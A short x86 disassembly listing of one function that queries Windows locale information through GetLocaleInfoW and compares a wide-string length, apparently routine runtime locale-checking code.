Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00404421
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4a8ebc
cmp esi, dword [ebp - 4]
je 0x4a8eb7
cmp dword [ebp + 0xc], 0
je 0x4a8eb7
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4a8e94
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004a8875
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4a8ebe
xor eax, eax
inc eax
jmp 0x4a8ebe
xor eax, eax
pop edi
pop esi
leave
ret